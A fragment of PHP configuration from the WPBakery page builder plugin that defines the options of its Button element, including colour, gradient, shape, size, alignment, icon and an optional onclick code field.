__( 'Classic', 'js_composer' ) => 'classic',
__( 'Flat', 'js_composer' ) => 'flat',
__( 'Outline', 'js_composer' ) => 'outline',
__( '3d', 'js_composer' ) => '3d',
__( 'Custom', 'js_composer' ) => 'custom',
__( 'Outline custom', 'js_composer' ) => 'outline-custom',
__( 'Gradient', 'js_composer' ) => 'gradient',
__( 'Gradient Custom', 'js_composer' ) => 'gradient-custom',
),
),
array(
'type' => 'dropdown',
'heading' => __( 'Gradient Color 1', 'js_composer' ),
'param_name' => 'gradient_color_1',
'description' => __( 'Select first color for gradient.', 'js_composer' ),
'param_holder_class' => 'vc_colored-dropdown vc_btn3-colored-dropdown',
'value' => getVcShared( 'colors-dashed' ),
'std' => 'turquoise',
'dependency' => array(
'element' => 'style',
'value' => array( 'gradient' ),
),
'edit_field_class' => 'vc_col-sm-6',
),
array(
'type' => 'dropdown',
'heading' => __( 'Gradient Color 2', 'js_composer' ),
'param_name' => 'gradient_color_2',
'description' => __( 'Select second color for gradient.', 'js_composer' ),
'param_holder_class' => 'vc_colored-dropdown vc_btn3-colored-dropdown',
'value' => getVcShared( 'colors-dashed' ),
'std' => 'blue',
// must have default color grey
'dependency' => array(
'element' => 'style',
'value' => array( 'gradient' ),
),
'edit_field_class' => 'vc_col-sm-6',
),
array(
'type' => 'colorpicker',
'heading' => __( 'Gradient Color 1', 'js_composer' ),
'param_name' => 'gradient_custom_color_1',
'description' => __( 'Select first color for gradient.', 'js_composer' ),
'param_holder_class' => 'vc_colored-dropdown vc_btn3-colored-dropdown',
'value' => '#dd3333',
'dependency' => array(
'element' => 'style',
'value' => array( 'gradient-custom' ),
),
'edit_field_class' => 'vc_col-sm-4',
),
array(
'type' => 'colorpicker',
'heading' => __( 'Gradient Color 2', 'js_composer' ),
'param_name' => 'gradient_custom_color_2',
'description' => __( 'Select second color for gradient.', 'js_composer' ),
'param_holder_class' => 'vc_colored-dropdown vc_btn3-colored-dropdown',
'value' => '#eeee22',
'dependency' => array(
'element' => 'style',
'value' => array( 'gradient-custom' ),
),
'edit_field_class' => 'vc_col-sm-4',
),
array(
'type' => 'colorpicker',
'heading' => __( 'Button Text Color', 'js_composer' ),
'param_name' => 'gradient_text_color',
'description' => __( 'Select button text color.', 'js_composer' ),
'param_holder_class' => 'vc_colored-dropdown vc_btn3-colored-dropdown',
'value' => '#ffffff',
// must have default color grey
'dependency' => array(
'element' => 'style',
'value' => array( 'gradient-custom' ),
),
'edit_field_class' => 'vc_col-sm-4',
),
array(
'type' => 'colorpicker',
'heading' => __( 'Background', 'js_composer' ),
'param_name' => 'custom_background',
'description' => __( 'Select custom background color for your element.', 'js_composer' ),
'dependency' => array(
'element' => 'style',
'value' => array( 'custom' ),
),
'edit_field_class' => 'vc_col-sm-6',
'std' => '#ededed',
),
array(
'type' => 'colorpicker',
'heading' => __( 'Text', 'js_composer' ),
'param_name' => 'custom_text',
'description' => __( 'Select custom text color for your element.', 'js_composer' ),
'dependency' => array(
'element' => 'style',
'value' => array( 'custom' ),
),
'edit_field_class' => 'vc_col-sm-6',
'std' => '#666',
),
array(
'type' => 'colorpicker',
'heading' => __( 'Outline and Text', 'js_composer' ),
'param_name' => 'outline_custom_color',
'description' => __( 'Select outline and text color for your element.', 'js_composer' ),
'dependency' => array(
'element' => 'style',
'value' => array( 'outline-custom' ),
),
'edit_field_class' => 'vc_col-sm-4',
'std' => '#666',
),
array(
'type' => 'colorpicker',
'heading' => __( 'Hover background', 'js_composer' ),
'param_name' => 'outline_custom_hover_background',
'description' => __( 'Select hover background color for your element.', 'js_composer' ),
'dependency' => array(
'element' => 'style',
'value' => array( 'outline-custom' ),
),
'edit_field_class' => 'vc_col-sm-4',
'std' => '#666',
),
array(
'type' => 'colorpicker',
'heading' => __( 'Hover text', 'js_composer' ),
'param_name' => 'outline_custom_hover_text',
'description' => __( 'Select hover text color for your element.', 'js_composer' ),
'dependency' => array(
'element' => 'style',
'value' => array( 'outline-custom' ),
),
'edit_field_class' => 'vc_col-sm-4',
'std' => '#fff',
),
array(
'type' => 'dropdown',
'heading' => __( 'Shape', 'js_composer' ),
'description' => __( 'Select button shape.', 'js_composer' ),
'param_name' => 'shape',
// need to be converted
'value' => array(
__( 'Rounded', 'js_composer' ) => 'rounded',
__( 'Square', 'js_composer' ) => 'square',
__( 'Round', 'js_composer' ) => 'round',
),
),
array(
'type' => 'dropdown',
'heading' => __( 'Color', 'js_composer' ),
'param_name' => 'color',
'description' => __( 'Select button color.', 'js_composer' ),
// compatible with btn2, need to be converted from btn1
'param_holder_class' => 'vc_colored-dropdown vc_btn3-colored-dropdown',
'value' => array(
// Btn1 Colors
__( 'Classic Grey', 'js_composer' ) => 'default',
__( 'Classic Blue', 'js_composer' ) => 'primary',
__( 'Classic Turquoise', 'js_composer' ) => 'info',
__( 'Classic Green', 'js_composer' ) => 'success',
__( 'Classic Orange', 'js_composer' ) => 'warning',
__( 'Classic Red', 'js_composer' ) => 'danger',
__( 'Classic Black', 'js_composer' ) => 'inverse',
// + Btn2 Colors (default color set)
) + getVcShared( 'colors-dashed' ),
'std' => 'grey',
// must have default color grey
'dependency' => array(
'element' => 'style',
'value_not_equal_to' => array(
'custom',
'outline-custom',
'gradient',
'gradient-custom',
),
),
),
array(
'type' => 'dropdown',
'heading' => __( 'Size', 'js_composer' ),
'param_name' => 'size',
'description' => __( 'Select button display size.', 'js_composer' ),
// compatible with btn2, default md, but need to be converted from btn1 to btn2
'std' => 'md',
'value' => getVcShared( 'sizes' ),
),
array(
'type' => 'dropdown',
'heading' => __( 'Alignment', 'js_composer' ),
'param_name' => 'align',
'description' => __( 'Select button alignment.', 'js_composer' ),
// compatible with btn2, default left to be compatible with btn1
'value' => array(
__( 'Inline', 'js_composer' ) => 'inline',
// default as well
__( 'Left', 'js_composer' ) => 'left',
// default as well
__( 'Right', 'js_composer' ) => 'right',
__( 'Center', 'js_composer' ) => 'center',
),
),
array(
'type' => 'checkbox',
'heading' => __( 'Set full width button?', 'js_composer' ),
'param_name' => 'button_block',
'dependency' => array(
'element' => 'align',
'value_not_equal_to' => 'inline',
),
),
array(
'type' => 'checkbox',
'heading' => __( 'Add icon?', 'js_composer' ),
'param_name' => 'add_icon',
),
array(
'type' => 'dropdown',
'heading' => __( 'Icon Alignment', 'js_composer' ),
'description' => __( 'Select icon alignment.', 'js_composer' ),
'param_name' => 'i_align',
'value' => array(
__( 'Left', 'js_composer' ) => 'left',
// default as well
__( 'Right', 'js_composer' ) => 'right',
),
'dependency' => array(
'element' => 'add_icon',
'value' => 'true',
),
),
), $icons_params, array(
array(
'type' => 'iconpicker',
'heading' => __( 'Icon', 'js_composer' ),
'param_name' => 'i_icon_pixelicons',
'value' => 'vc_pixel_icon vc_pixel_icon-alert',
'settings' => array(
'emptyIcon' => false,
// default true, display an "EMPTY" icon?
'type' => 'pixelicons',
'source' => $pixel_icons,
),
'dependency' => array(
'element' => 'i_type',
'value' => 'pixelicons',
),
'description' => __( 'Select icon from library.', 'js_composer' ),
),
), array(
vc_map_add_css_animation( true ),
array(
'type' => 'textfield',
'heading' => __( 'Extra class name', 'js_composer' ),
'param_name' => 'el_class',
'description' => __( 'Style particular content element differently - add a class name and refer to it in custom CSS.', 'js_composer' ),
),
array(
'type' => 'checkbox',
'heading' => __( 'Advanced on click action', 'js_composer' ),
'param_name' => 'custom_onclick',
'description' => __( 'Insert inline onclick javascript action.', 'js_composer' ),
),
array(
'type' => 'textfield',
'heading' => __( 'On click code', 'js_composer' ),
'param_name' => 'custom_onclick_code',
'description' => __( 'Enter onclick action code.', 'js_composer' ),
'dependency' => array(
'element' => 'custom_onclick',
'not_empty' => true,
),
),
array(
'type' => 'css_editor',
'heading' => __( 'CSS box', 'js_composer' ),
'param_name' => 'css',
'group' => __( 'Design Options', 'js_composer' ),
),
) );
/**
* @class WPBakeryShortCode_VC_Btn
*/
return array(
'name' => __( 'Button', 'js_composer' ),
'base' => 'vc_btn',
'icon' => 'icon-wpb-ui-button',
'category' => array(
__( 'Content', 'js_composer' ),
),
'description' => __( 'Eye catching button', 'js_composer' ),
'params' => $params,
'js_view' => 'VcButton3View',
'custom_markup' => '{{title}}<div class="vc_btn3-container"><button class="vc_general vc_btn3 vc_btn3-size-sm vc_btn3-shape-{{ params.shape }} vc_btn3-style-{{ params.style }} vc_btn3-color-{{ params.color }}">{{{ params.title }}}</button></div>',
);